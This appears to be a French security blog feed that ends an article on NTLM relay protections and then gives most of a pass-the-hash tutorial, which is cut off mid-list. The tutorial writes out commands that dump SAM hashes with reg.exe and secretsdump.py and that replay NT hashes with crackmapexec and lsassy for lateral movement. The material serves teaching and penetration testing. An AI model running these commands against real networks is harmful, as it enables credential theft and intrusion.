<p>Nous voyons qu’il indique bien vouloir utiliser le service <strong>CIFS</strong> (équivalent de SMB, juste une différentes terminologie). Relayer ça vers un serveur LDAP qui prend en compte cette information résultera en un beau refus de la part du serveur.</p>
<p>Mais comme vous pouvez le voir, il n’y a pas que le nom du service dans le SPN (CIFS). Il y a également la cible de l’authentification, ici l’adresse IP de l’attaquant. Cela implique que si un attaquant relaie ce message à un serveur, et que le serveur vérifie le SPN, il verra qu’il n’est pas destination indiquée dans le SPN et refusera la connexion.</p>
<p>Ainsi, cette protection, si supportée par tous les clients et serveurs, et si requise pour tous les serveurs, protège de tout relais NTLM.</p>
<h3 id="liaison-avec-la-couche-tls">Liaison avec la couche TLS</h3>
<p>Cette fois-ci, cette protection a pour but de lier la couche d’authentification, donc toujours les messages NTLM, à la couche TLS qui peut potentiellement être utilisée.</p>
<p>Si le client souhaite utiliser un protocole encapsulé dans TLS (HTTPS, LDAPS par exemple), il va établir une session TLS avec le serveur, et il va créer un condensat du certificat du serveur qu’il va mettre dans sa réponse NTLM. Ce condensat est appelé <strong>Channel Binding Token</strong>, ou CBT. Le serveur légitime va alors recevoir le message NTLM à la fin de l’authentification, lire le condensat indiqué dans la réponse, et le comparer avec le vrai condensat de son certificat. S’il est différent, c’est qu’il n’est pas le destinataire original de cet
échange.</p>
<p>Encore une fois, ce condensat se trouvant dans la réponse NTLM, il est protégé par la réponse <strong>NtProofStr</strong>, comme pour le <strong>SPN</strong> du <strong>Service Binding</strong>.</p>
<p>De cette manière, les deux attaques suivantes ne sont plus possibles :</p>
<ol>
<li>Si un attaquant souhaite relayer une information d’un client utilisant un protocole sans couche TLS vers un protocole avec couche TLS (HTTP vers LDAPS, par exemple), l’attaquant ne sera pas en mesure d’ajouter le condensat du certificat du serveur cible dans la réponse NTLM, puisqu’il ne peut pas la recalculer.</li>
<li>Si un attaquant souhaite relayer un protocole avec TLS vers un autre protocole avec TLS, lors de l’établissement de la session TLS entre le client et lui, il ne pourra pas fournir le certificat du serveur, puisqu’il ne correspond pas à l’identité de l’attaquant. Il devra donc fournir un certificat “maison”, identifiant l’attaquant. Le client va alors faire un condensat de ce certificat, et lorsque l’attaquant relaiera la réponse NTLM au serveur légitime, le condensat dans la réponse ne sera pas le même que le condensat du vrai certificat, donc le serveur rejettera la connexion.</li>
</ol>
<p>Voilà un schéma un peu barbu pour représenter le 2ème cas.</p>
<p><a href="/assets/uploads/2020/03/ntlm_channel_binding_tls.png"><img src="/assets/uploads/2020/03/ntlm_channel_binding_tls.png" alt="Channel binding" /></a></p>
<p>Il montre l’établissement de deux sessions TLS. L’une entre le client et l’attaquant (en rouge) et une entre l’attaquant et le serveur (en bleu). Le client va récupérer le certificat de l’attaquant, et en calculer un condensat, <strong>cert hash</strong>, en rouge.</p>
<p>A la fin des échanges NTLM, ce condensat sera mis dans la réponse NTLM, et sera protégée puisqu’il fait partie de la donnée chiffrée de la réponse NTLM. Quand le serveur recevra ce condensat, il va calculer le condensat de son propre certificat, et en voyant que ce n’est pas le même, il refusera la connexion.</p>
<h2 id="que-peut-on-relayer-">Que peut-on relayer ?</h2>
<p>Avec toutes ces informations, vous devriez être capables de savoir quels protocoles peuvent être relayés vers quels protocoles. Nous avons vu qu’il était impossible de relayer du SMB vers du LDAP ou du LDAPS, par exemple. En revanche, tout client qui ne positionne pas le drapeau <code class="language-plaintext highlighter-rouge">NEGOTIATE_SIGN</code> peut être relayé vers LDAP si la signature n’est pas imposée, ou LDAPS si le channel binding n’est pas requis.</p>
<p>Comme il existe beaucoup de cas, voici un tableau qui en résume certains.</p>
<p><a href="/assets/uploads/2020/03/ntlm_resume.png"><img src="/assets/uploads/2020/03/ntlm_resume.png" alt="Résumé du relais NTLM" /></a></p>
<p>Concernant LDAPS ou HTTPS en client, je les ai mis dans le tableau, sous réserve que la CA qui a généré le certificat de l’attaquant soit acceptée par le client. Par ailleurs, d’autres protocoles pourraient être ajoutés, comme SQL ou SMTP, mais j’avoue ne pas avoir lu la documentations de tous les protocoles de la planète.</p>
<h2 id="bannir-ntlmv1">Bannir. NTLMv1.</h2>
<p>J’ajoute un petit fun fact que m’a suggéré d’ajouter <a href="https://twitter.com/simakov_marina">Marina Simakov</a>, c’est que comme on l’a vu, le hash NTLMv2 d’un client prend en compte le challenge du serveur, mais aussi notamment le drapeau <code class="language-plaintext highlighter-rouge">msAvFlags</code> qui indique la présence ou non d’un MIC, ou le champ indiquant le nom de la machine cible lors de l’authentification, ou encore le SPN ou le CBT pour le channel binding.</p>
<p>Et bien le protocole NTLMv1 ne fait pas ça. Il ne prend en compte que le challenge du serveur. En fait, il n’y a plus les informations complémentaires comme le nom de la cible, le drapeau <code class="language-plaintext highlighter-rouge">msAvFlags</code>, le SPN ou le CBT.</p>
<p>Ainsi, si une authentification NTLMv1 est autorisée par un serveur, l’attaquant peut simplement enlever le MIC et ainsi relayer des authentifications vers LDAP ou LDAPS, par exemple. Mais il peut aussi (et surtout) effectuer des requêtes NetLogon pour récupérer la clé de session. En effet, le contrôleur de domaine n’a aucun moyen de vérifier si l’attaquant a le droit, ou non, de faire cette demande. Et comme il ne va pas bloquer un parc de production qui ne serait pas complètement à jour, et bien il va gentiment la donner, pour des “raisons de rétro-compatibilité”.</p>
<p>Une fois en possession de la clé de session, l’attaquant peut alors signer tous les paquets qu’il souhaite. Ainsi, il peut même discuter avec les machines qui requièrent la signature des flux.</p>
<p>C’est le comportement “by design” donc ça ne peut pas être corrigé. Donc je le répète, <strong>n’autorisez pas NTLMv1 dans un réseau de production</strong>.</p>
<h2 id="conclusion">Conclusion</h2>
<p>Et bien, ça fait beaucoup d’informations à digérer.</p>
<p>Nous avons vu ici le <strong>fonctionnement du relais NTLM</strong>, en prenant bien conscience que l’authentification et la session qui s’en suit sont deux notions distinctes permettant de faire du <strong>relais cross-protocole</strong> dans beaucoup de cas. Bien que le protocole englobe d’une manière ou d’une autre les données d’authentification, elles sont pour lui opaques, et gérées par SSPI.</p>
<p>Nous avons également montré en quoi la <strong>signature des flux</strong> pouvait protéger le serveur d’attaques de type homme du milieu. Pour cela, la cible doit attendre une signature des flux de la part du client, sinon l’attaquant pourra se faire passer pour quelqu’un d’autre sans avoir à signer les messages qu’il envoie.</p>
<p>Nous avons vu que le MIC était très important pour protéger les échanges NTLM, notamment le drapeau indiquant si les flux seront signés pour certains protocoles, ou les informations sur le channel binding.</p>
<p>Nous avons d’ailleurs terminé en montrant comment le channel binding permettait de faire le lien entre la couche d’authentification et la couche de session, soit via le nom du service, soit via une liaison avec le certificat du serveur.</p>
<p>J’espère que ce long article vous a permis de mieux comprendre ce qu’il se passait lors d’une attaque de relais NTLM. Vous comprenez j’espère mieux les briques qui entrent en jeu, et les protections existantes.</p>
<p>Cet article étant assez conséquent, il est tout à fait probable que des coquilles se soient glissées à l’intérieur. N’hésitez pas à me contacter sur <a href="https://twitter.com/hackanddo">twitter</a> ou sur mon <a href="https://discord.hackndo.com">serveur Discord</a> pour discuter de tout ça.</p>
Wed, 01 Apr 2020 10:11:52 +0000
https://beta.hackndo.com/ntlm-relay/
https://beta.hackndo.com/ntlm-relay/Active DirectoryWindowsPass the Hash<p>Durant les tests d’intrusion internes, le mouvement latéral est une composante essentielle pour l’auditeur afin de chercher des informations en vue d’élever ses privilèges sur le système d’information. La technique dite du <strong>Pass the Hash</strong> est extrêmement utilisée dans cette situation pour devenir administrateur sur un ensemble de machines. Nous allons détailler ici le fonctionnement de cette technique.</p>
<!--more-->
<h2 id="protocole-ntlm">Protocole NTLM</h2>
<p>Le protocole NTLM est un protocole d’authentification utilisé dans les environnement Microsoft. Il permet notamment à un utilisateur de prouver qui il est auprès d’un serveur pour pouvoir utiliser un service proposé par ce serveur.</p>
<blockquote>
<p>Note : Dans cet article, le terme “serveur” est employé dans le sens client/serveur. Le “serveur” peut très bien être un poste de travail.</p>
</blockquote>
<p><a href="/assets/uploads/2019/09/NTLM_Basic.png"><img src="/assets/uploads/2019/09/NTLM_Basic.png" alt="NTLM" /></a></p>
<p>Deux cas de figure peuvent se présenter :</p>
<ul>
<li>Soit l’utilisateur utilise les identifiants d’un compte local du serveur, auquel cas le serveur possède le secret de l’utilisateur dans sa base locale et il pourra authentifier l’utilisateur;</li>
<li>Soit, dans un environnement Active Directory, l’utilisateur utilise un compte de domaine lors de l’authentification, et le serveur devra alors dialoguer avec le contrôleur de domaine pour vérifier les informations fournies par l’utilisateur.</li>
</ul>
<p>Dans les deux cas, l’authentification commence par une phase de <strong>challenge/réponse</strong> (ou stimulation/réponse) entre le client et le serveur.</p>
<h3 id="challenge---réponse">Challenge - Réponse</h3>
<p>Le principe du challenge/réponse est utilisé pour que le serveur vérifie que l’utilisateur connaisse le secret du compte avec lequel il s’authentifie, sans pour autant faire transiter le mot de passe sur le réseau. C’est ce qu’on appelle une <a href="https://fr.wikipedia.org/wiki/Preuve_%C3%A0_divulgation_nulle_de_connaissance">preuve à divulgation nulle de connaissance</a>. Trois étapes composent cet échange :</p>
<ol>
<li><strong>Négociation</strong> : Le client indique au serveur qu’il veut s’authentifier auprès de lui (<a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/b34032e5-3aae-4bc6-84c3-c6d80eadf7f2">NEGOTIATE_MESSAGE</a>).</li>
<li><strong>Challenge</strong> : Le serveur envoie un challenge au client. Ce n’est rien d’autre qu’une valeur aléatoire de 64 bits qui change à chaque demande d’authentification (<a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/801a4681-8809-4be9-ab0d-61dcfe762786">CHALLENGE_MESSAGE</a>).</li>
<li><strong>Réponse</strong> : Le client chiffre le challenge précédemment reçu en utilisant une version hashée de son mot de passe comme clé, et renvoie cette version chiffrée au serveur, avec son nom d’utilisateur et éventuellement son domaine (<a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/033d32cc-88f9-4483-9bf2-b273055038ce">AUTHENTICATE_MESSAGE</a>).</li>
</ol>
<p><a href="/assets/uploads/2019/09/NTLM_Challenge_Response.png"><img src="/assets/uploads/2019/09/NTLM_Challenge_Response.png" alt="NTLM Challenge Response" /></a></p>
<p>Voici une capture d’écran de mon lab. On voit que l’utilisateur <strong>Administrateur</strong> tente de se connecter sur la machine <strong>LKAPP01.lion.king</strong></p>
<p><a href="/assets/uploads/2019/11/ntlm_authentication_ws.png"><img src="/assets/uploads/2019/11/ntlm_authentication_ws.png" alt="NTLM Challenge Response" /></a></p>
<p>Les échanges NTLM sont encadrés en rouge en haut, et dans la partie basse se trouvent les informations contenues dans la réponse du serveur <code class="language-plaintext highlighter-rouge">CHALLENGE_MESSAGE</code>. On y trouve notamment le challenge.</p>
<p>Suite à ces échanges, le serveur est en possession de deux choses :</p>
<ol>
<li>Le challenge qu’il a envoyé au client</li>
<li>La réponse du client qui a été chiffrée avec son secret</li>
</ol>
<p>Pour finaliser l’authentification, il ne reste plus au serveur qu’à vérifier la validité de la réponse envoyée par le client. Mais juste avant ça, faisons un petit point sur le secret du client.</p>
<h3 id="secret-dauthentification">Secret d’authentification</h3>
<p>Nous avons dit que le client utilise comme clé une version hashée de son mot de passe, et ce pour la raison suivante : Eviter de stocker les mots de passe des utilisateurs en clair sur le serveur. C’est donc un condensat du mot de passe qui est enregistré à la place. Ce condensat est aujourd’hui le <strong>hash NT</strong>, qui n’est rien d’autre que le résultat de la fonction <a href="https://fr.wikipedia.org/wiki/MD4">MD4</a>, sans sel, rien.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>hashNT = MD4(password)
</code></pre></div></div>
<p>Donc pour résumer, lorsque le client s’authentifie, il utilise l’empreinte MD4 de son mot de passe pour chiffrer le challenge. Voyons alors ce qu’il se passe du côté du serveur, une fois cette réponse reçue.</p>
<h2 id="authentification">Authentification</h2>
<p>Comme expliqué tout à l’heure, il existe deux scénarios différents. Le premier est que le compte utilisé pour l’authentification est un compte local, c’est à dire que le serveur a connaissance de ce compte, et il a une copie du secret du compte. Le deuxième est qu’un compte de domaine est utilisé, auquel cas le serveur n’a pas connaissance de ce compte ou son secret. Il devra déléguer l’authentification au contrôleur de domaine.</p>
<h3 id="compte-local">Compte local</h3>
<p>Dans le cas où l’authentification se fait avec un compte local, le serveur va chiffrer le challenge qu’il a envoyé au client avec la clé secrète de l’utilisateur, ou plutôt avec le hash MD4 du secret de l’utilisateur. Il vérifiera ainsi si le résultat de son opération est égal à la réponse du client, prouvant que l’utilisateur possède le bon secret. Le cas contraire, la clé utilisée par l’utilisateur n’est pas la bonne puisque le chiffrement du challenge ne donne pas celui attendu.</p>
<p>Pour pouvoir effectuer cette opération, le serveur a besoin de stocker les utilisateurs locaux et le condensat de leur secret. Le nom de cette base de donnée est la <strong>SAM</strong> (Security Accounts Manager). La SAM peut être trouvée dans la base de registre, notamment avec l’outil <code class="language-plaintext highlighter-rouge">regedit</code> mais uniquement lorsqu’on y accède en tant que <strong>SYSTEM</strong>. On peut l’ouvrir en tant que <strong>SYSTEM</strong> avec <a href="https://docs.microsoft.com/en-us/sysinternals/downloads/psexec">psexec</a> :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>psexec.exe -i -s regedit.exe
</code></pre></div></div>
<p><a href="/assets/uploads/2019/11/SAM_registry.png"><img src="/assets/uploads/2019/11/SAM_registry.png" alt="SAM in registry" /></a></p>
<p>Une copie se trouve également sur disque à l’emplacement <code class="language-plaintext highlighter-rouge">C:\Windows\System32\SAM</code>.</p>
<p>Elle contient donc les utilisateurs locaux et le condensat de leur mot de passe, mais aussi la liste des groupes locaux. Enfin si on veut être précis, elle contient une version chiffrée des condensats. Mais comme toutes les informations pour les déchiffrer sont également dans la base de registres (SAM et SYSTEM), on peut faire le raccourci, et dire que c’est bien le condensat qui est stocké. Si vous voulez voir comment le déchiffrement fonctionne, vous pouvez aller voir <a href="https://github.com/SecureAuthCorp/impacket/blob/master/impacket/examples/secretsdump.py#L1124">le code de secretsdump.py</a> ou <a href="https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/kuhl_m_lsadump.c">celui de Mimikatz</a>.</p>
<p>On peut d’ailleurs très bien sauvegarder les bases de données SAM et SYSTEM pour extraire la base des condensats des utilisateurs.</p>
<p>D’abord on enregistre les deux bases de données dans un fichier</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>reg.exe save hklm\sam save.save
reg.exe save hklm\system system.save
</code></pre></div></div>
<p>Ensuite, on peut utiliser <a href="https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py">secretsdump.py</a> pour extraire les hash</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>secretsdump.py <span class="nt">-sam</span> sam.save <span class="nt">-system</span> system.save LOCAL
</code></pre></div></div>
<p><a href="/assets/uploads/2019/11/extract_nt_hashes.png"><img src="/assets/uploads/2019/11/extract_nt_hashes.png" alt="SAM verification" /></a></p>
<p>Donc pour résumer, voici le processus de vérification.</p>
<p><a href="/assets/uploads/2019/11/SAM_verification.png"><img src="/assets/uploads/2019/11/SAM_verification.png" alt="SAM verification" /></a></p>
<p>Comme le serveur envoie un challenge (<strong>1</strong>) et que le client chiffre ce challenge avec le hash de son secret puis le renvoie au serveur, avec son nom d’utilisateur (<strong>2</strong>), le serveur va chercher le hash du mot de passe de l’utilisateur dans sa base SAM (<strong>3</strong>). Une fois en possession de ce condensat, il va lui aussi chiffrer le challenge précédemment envoyé avec ce hash (<strong>4</strong>), et il pourra ainsi confronter son résultat à celui renvoyé par l’utilisateur. Si c’est le même (<strong>5</strong>) alors l’utilisateur est bien authentifié ! Le cas contraire, l’utilisateur n’a pas fourni le bon secret.</p>
<h3 id="compte-de-domaine">Compte de domaine</h3>
<p>Dans le cas où l’authentification se fait avec un compte du domaine, le hash NT de l’utilisateur n’est plus stocké sur le serveur, mais sur le contrôleur de domaine. Le serveur auprès duquel veut s’authentifier l’utilisateur reçoit alors la réponse à son challenge, mais il n’est pas en mesure de vérifier si cette réponse est valide. Il va déléguer cette tâche au contrôleur de domaine.</p>
<p>Pour cela, il va utiliser le service <strong>Netlogon</strong>, service qui est capable d’établir une connexion sécurisée avec le contrôleur de domaine. Cette connexion sécurisée s’appelle <strong>Secure Channel</strong>. Elle est possible puisque le serveur possède son propre mot de passe, et le contrôleur de domaine connait le hash de ce mot de passe. Ils peuvent alors, de la même manière, effectuer un challenge/réponse pour s’échanger une clé de session et communiquer de manière sécurisée.</p>
<p>Je ne vais pas rentrer dans les détails, mais l’idée est donc que le serveur va envoyer différents éléments au contrôleur de domaine dans une structure appelée <a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrpc/e17b03b8-c1d2-43a1-98db-cf8d05b9c6a8">NETLOGON_NETWORK_INFO</a>:</p>
<ul>
<li>Le nom d’utilisateur du client (Identity)</li>
<li>Le challenge envoyé précédemment au client (LmChallenge)</li>
<li>La réponse au challenge envoyée par le client (NtChallengeResponse)</li>
</ul>
<blockquote>
<p>Je ne parle pas de LmChallengeResponse puisque dans cet article, je m’intéresse seulement au hash NT, pas au hash LM qui est complètement obsolète.</p>
</blockquote>
<p>Le contrôleur de domaine va chercher le hash NT de l’utilisateur dans sa base de données. Pour le contrôleur de domaine, ce n’est pas dans la SAM, puisque c’est un compte du domaine qui s’authentifie. Cette fois-ci c’est dans un fichier appelé <strong>NTDS.DIT</strong>, qui est la base de données de tous les utilisateurs. Une fois le hash NT récupéré, il va calculer la réponse attendue avec ce hash et le challenge, et va confronter ce résultat à la réponse du client.</p>
<p>Un message sera ensuite envoyé au serveur (<a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrpc/bccfdba9-0c38-485e-b751-d4de1935781d">NETLOGON_VALIDATION_SAM_INFO4</a>) indiquant si oui ou non le client est authentifié, et il enverra également tout un tas d’informations concernant l’utilisateur. Ce sont d’ailleurs les mêmes informations que celles qu’on retrouve dans le <a href="https://beta.hackndo.com/kerberos-silver-golden-tickets/#pac">PAC</a> lors d’une <a href="https://beta.hackndo.com/kerberos/">authentification Kerberos</a>.</p>
<p>Donc pour résumer, voici le processus de vérification avec un contrôleur de domaine.</p>
<p><a href="/assets/uploads/2019/11/DC_verification.png"><img src="/assets/uploads/2019/11/DC_verification.png" alt="SAM verification" /></a></p>
<p>De la même manière que tout à l’heure, le serveur envoie un challenge (<strong>1</strong>) et le client <strong>jsnow</strong> chiffre ce challenge avec le hash de son secret puis le renvoie au serveur, accompagné de son nom d’utilisateur et le nom du domaine (<strong>2</strong>). Cette fois-ci, le serveur va envoyer ces informations au contrôleur de domaine dans un <strong>Secure Channel</strong> à l’aide du service <strong>Netlogon</strong> (<strong>3</strong>). Une fois en possession de ces informations, le contrôleur de domaine va lui aussi chiffrer le challenge en utilisant le hash de l’utilisateur, trouvé dans sa base de données (<strong>4</strong>), et il pourra ainsi confronter son résultat à celui renvoyé par l’utilisateur. Si c’est le même (<strong>5</strong>) alors l’utilisateur est bien authentifié. Le cas contraire, l’utilisateur n’a pas fourni le bon secret. Dans les deux cas, le contrôleur de domaine transmet l’information au serveur (<strong>6</strong>).</p>
<h2 id="limites-du-hash-nt">Limites du hash NT</h2>
<p>Si vous avez bien suivi, vous aurez compris qu’en fait, le mot de passe en clair n’est jamais utilisé dans ces échanges, mais bien la version hashée du mot de passe, appelé hash NT. Ce hash est un condensat simple du mot de passe en clair.</p>
<p>Donc en fait, si on y réfléchit bien, <strong>voler le mot de passe en clair ou voler le hash revient exactement au même</strong>. Comme c’est le hash qui est utilisé pour répondre au challenge/réponse, être en possession du hash permet de s’authentifier auprès d’un serveur. Avoir le mot de passe en clair n’est absolument pas utile.</p>
<p>Finalement, on peut même dire qu’<strong>avoir le hash NT revient à avoir le mot de passe en clair</strong>, dans la majorité des cas.</p>
<h2 id="pass-the-hash">Pass the Hash</h2>
<p>On comprend donc bien que si un attaquant connait le hash NT d’un administrateur local d’une machine, il peut tout à fait s’authentifier auprès de cette machine en utilisant ce condensat. De la même manière, s’il possède le hash NT d’un utilisateur de domaine qui fait partie d’un groupe d’administration local d’une machine, il peut également s’authentifier auprès de cette machine en tant qu’administrateur local.</p>
<h3 id="administrateur-local-du-parc">Administrateur local du parc</h3>
<p>Maintenant, plaçons nous dans un environnement d’entreprise : Un nouveau collaborateur arrive, et un poste lui est fourni. Le département informatique ne s’amuse pas à installer et configurer depuis zéro un système Windows pour chaque collaborateur. Non, l’informaticien est paresseux, et s’il peut automatiser, il automatise.</p>
<p>Ce qui est très courant est le scénario suivant : Une version du système Windows est installée et configurée pour répondre à tous les besoins de base d’un nouveau collaborateur. Cette version de base appelée <strong>master</strong> est enregistrée dans un coin, et une copie de cette version est fournie à chaque nouvel arrivant.</p>
<p>Cela implique que le compte administrateur local <strong>est le même</strong> sur tous les postes qui ont bénéficié du même <strong>master</strong>.</p>
<p>Vous voyez où je veux en venir ? Si jamais un seul de ces postes est compromis et que l’attaquant extrait le hash NT de l’administrateur du poste, comme tous les autres postes ont le même compte d’admin avec le même mot de passe, et bien ils auront également le même hash NT. L’attaquant peut alors utiliser le hash trouvé sur le poste compromis et le rejouer sur tous les autres postes pour s’authentifier dessus.</p>
<p>C’est ce qu’on appelle passer le hash, ou plus communément la technique du <strong>Pass the hash</strong>.</p>
<p><a href="/assets/uploads/2019/11/pass-the-hash-schema.png"><img src="/assets/uploads/2019/11/pass-the-hash-schema.png" alt="Pass the hash" /></a></p>
<p>Prenons un exemple, nous avons trouvé que le hash NT de l’utilisateur <code class="language-plaintext highlighter-rouge">Administrateur</code> est <code class="language-plaintext highlighter-rouge">20cc650a5ac276a1cfc22fbc23beada1</code>. Nous pouvons le rejouer sur une autre machine en espérant que cette machine ait été configurée de la même manière. Cet exemple utilise l’outil <a href="https://github.com/SecureAuthCorp/impacket/blob/master/examples/psexec.py">psexec.py</a> de la suite <a href="https://github.com/SecureAuthCorp/impacket">Impacket</a>.</p>
<p><a href="/assets/uploads/2019/11/pass-the-hash-local.png"><img src="/assets/uploads/2019/11/pass-the-hash-local.png" alt="PTH Local" /></a></p>
<p>Bingo, ce hash fonctionne également sur la nouvelle machine, et nous avons la main dessus.</p>
<h3 id="compte-de-domaine-à-privilèges">Compte de domaine à privilèges</h3>
<p>Il existe une autre manière d’utiliser la technique du <strong>Pass the hash</strong>. Imaginons que pour l’administration du parc à distance, il existe un groupe “HelpDesk” dans l’Active Directory. Pour que les membres de ce groupe puissent intervenir sur les machines des utilisateurs, le groupe est ajouté au groupe local “Administrateurs” de chaque machine. Ce groupe local contient les entités ayant les droits d’administration sur la machine.</p>
<p>On peut d’ailleurs les lister avec la commande suivante</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Machine française</span>
net localgroup Administrateurs
<span class="c"># ~Reste du monde</span>
net localgroup Administrators
</code></pre></div></div>
<p>On obtiendra alors un résultat comme celui-ci :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Nom alias Administrateur
Commentaire Les membres du groupe Administrateurs disposent d'un accès complet et illimité à l'ordinateur et au domaine
Membres
-------------------------
Administrateur
ADSEC\Admins du domaine
ADSEC\HelpDesk
</code></pre></div></div>
<p>Nous avons donc le groupe du domaine <code class="language-plaintext highlighter-rouge">ADSEC\HelpDesk</code> qui fait partie des administrateurs de la machine. Si jamais un attaquant vole le hash NT d’un des membres de ce groupe, il peut tout à fait demander à s’authentifier sur les machines ayant <code class="language-plaintext highlighter-rouge">ADSEC\HelpDesk</code> dans la liste des administrateurs.</p>
<p>L’avantage par rapport au compte local, c’est que quelque soit le master utilisé pour mettre en place les machines, le groupe sera ajouté par <a href="/gpo-abuse-with-edit-settings/#group-policy-object">GPO</a> à la configuration de la machine. Les chances sont plus grandes pour que ce compte ait des droits d’administration plus étendus, indépendamment des OS et des mises en service des machines.</p>
<p>Lors de la demande d’authentification, le serveur va donc déléguer l’authentification au contrôleur de domaine, et si l’authentification réussit, alors le contrôleur de domaine va envoyer au serveur des informations sur l’utilisateur telles que son nom, <strong>la liste des groupes auxquels il appartient</strong>, la date d’expiration de son mot de passe etc.</p>
<p>Le serveur va donc savoir que l’utilisateur fait partie du groupe <strong>HelpDesk</strong>, et lui donnera un accès administrateur.</p>
<p>Prenons un nouvel exemple, nous avons trouvé que le hash NT de l’utilisateur <code class="language-plaintext highlighter-rouge">jsnow</code> est <code class="language-plaintext highlighter-rouge">89db9cd74150fc8d8559c3c19768ca3f</code>. Ce compte fait partie du groupe <code class="language-plaintext highlighter-rouge">HelpDesk</code> qui est administrateur local de toutes les machines du parc. Rejouons alors son hash sur une autre machine.</p>
<p><a href="/assets/uploads/2019/11/pass-the-hash-domain.png"><img src="/assets/uploads/2019/11/pass-the-hash-domain.png" alt="PTH Domain" /></a></p>
<p>De la même manière, l’authentification a fonctionné et nous sommes administrateur de la cible.</p>
<h2 id="automatisation">Automatisation</h2>
<p>Maintenant que nous avons compris le fonctionnement de l’authentification NTLM, et pourquoi un hash NT pouvait être utilisé pour s’authentifier auprès d’autres machines, il serait utile de pouvoir automatiser la connexion sur les différentes cibles pour récupérer autant d’informations que possible en parallélisant les tâches.</p>
<p>Pour cela, l’outil <a href="https://github.com/byt3bl33d3r/CrackMapExec">CrackMapExec</a> est idéal. Il prend en entrée une liste de machines cibles, des identifiants, avec un mot de passe en clair ou un hash NT, et il peut exécuter des commandes sur les cibles pour lesquelles l’authentification a fonctionné.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Compte local d'administration</span>
crackmapexec smb <span class="nt">--local-auth</span> <span class="nt">-u</span> Administrateur <span class="nt">-H</span> 20cc650a5ac276a1cfc22fbc23beada1 10.10.0.1 <span class="nt">-x</span> <span class="nb">whoami</span>
<span class="c"># Compte de domaine</span>
crackmapexec smb <span class="nt">-u</span> jsnow <span class="nt">-H</span> 89db9cd74150fc8d8559c3c19768ca3f <span class="nt">-d</span> adsec.local 10.10.0.1 <span class="nt">-x</span> <span class="nb">whoami</span>
</code></pre></div></div>
<p>Voici un exemple dans lequel l’utilisateur <code class="language-plaintext highlighter-rouge">simba</code> est administrateur de tous les postes de travail.</p>
<p><a href="/assets/uploads/2019/11/crackmapexec.png"><img src="/assets/uploads/2019/11/crackmapexec.png" alt="SAM verification" /></a></p>
<p>Le Pass the hash a été effectué sur quelques machines qui sont alors compromises. Un argument a été passé à CrackMapExec pour énumérer les utilisateurs actuellement connectés sur ces machines.</p>
<p>Avoir la liste des utilisateurs connectés, c’est bien, mais avoir leur mot de passe ou leur hash NT (ce qui est pareil), c’est mieux ! Pour ça, j’ai développé l’outil <a href="https://github.com/hackndo/lsassy">lsassy</a> dont je parle dans l’article <a href="/remote-lsass-dump-passwords/#nouveaux-outils">Extraction des secrets de lsass à distance</a>. Et en pratique, et bien ça donne ça :</p>
<p><a href="/assets/uploads/2019/11/crackmapexec_lsassy.png"><img src="/assets/uploads/2019/11/crackmapexec_lsassy.png" alt="Lsassy verification" /></a></p>
<p>Nous récupérons tous les hash NT des utilisateurs connectés. Ceux des comptes machine ne sont pas affichés puisque nous sommes déjà administrateur de ces machines, ils ne nous sont donc pas utiles.</p>
<h2 id="limites-du-pass-the-hash">Limites du Pass the hash</h2>
<p>Le Pass the hash est une technique qui fonctionne toujours lorsque l’authentification NTLM est acceptée par le serveur. Cependant, il existe des méchanismes dans Windows qui limitent ou peuvent limiter les actions d’administration.</p>
<p>En effet, sur Windows, la gestion des droits est effectuée à l’aide de jetons de sécurité (<em>Access tokens</em>) qui permettent de savoir qui a le droit de faire quoi. Les membres du groupe “Administrateurs” possèdent deux tokens. Un avec les droits d’un utilisateur standard, et un autre avec les droits administrateur. Par défaut, lorsqu’un administrateur exécute une tâche, elle est effectuée dans le contexte limité, standard. Si en revanche des actions d’administration doivent être exécutées, alors Windows affiche cette fenêtre très connue appelée <strong>UAC</strong> (<em>User Account Control</em> ou Contrôle de Compte Utilisateur)</p>
<p><a href="/assets/uploads/2019/11/uac_prompt.png"><img src="/assets/uploads/2019/11/uac_prompt.png" alt="Lsassy verification" /></a></p>
<p>L’utilisateur est averti que les droits d’administration sont demandés par l’application.</p>
<p>Quid alors des actions d’administration effectuées à distance ? Et bien deux cas sont possibles.</p>
<ul>
<li>Soit elles sont demandées par un compte <strong>du domaine</strong> qui fait partie du groupe “Administrateurs” de la machine, auquel cas l’UAC n’est pas activé pour ce compte, et il peut faire ses tâches d’administration.</li>
<li>Soit elles sont demandées par un compte <strong>local</strong> qui fait partie du groupe “Administrateurs” de la machine, et dans ce cas, l’UAC est activé dans certains cas, mais pas tous.</li>
</ul>
<p>Pour comprendre le deuxième cas, faisons le point sur deux clés de registre un peu méconnues, mais qui ont pourtant un rôle essentiel lorsque des actions d’administration tentent d’être effectuées suite à une authentification NTLM avec un compte local d’administration.</p>
<h3 id="localaccounttokenfilterpolicy">LocalAccountTokenFilterPolicy</h3>
<p>Cette première clé de registre se trouve ici dans la base :</p>
<blockquote>
<p>HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System</p>
</blockquote>
<p>Elle peut avoir deux valeurs, <code class="language-plaintext highlighter-rouge">0</code> ou <code class="language-plaintext highlighter-rouge">1</code>.</p>
<p>Par défaut, elle n’est pas présente, ce qui implique qu’elle vaut <code class="language-plaintext highlighter-rouge">0</code>.</p>
<ul>
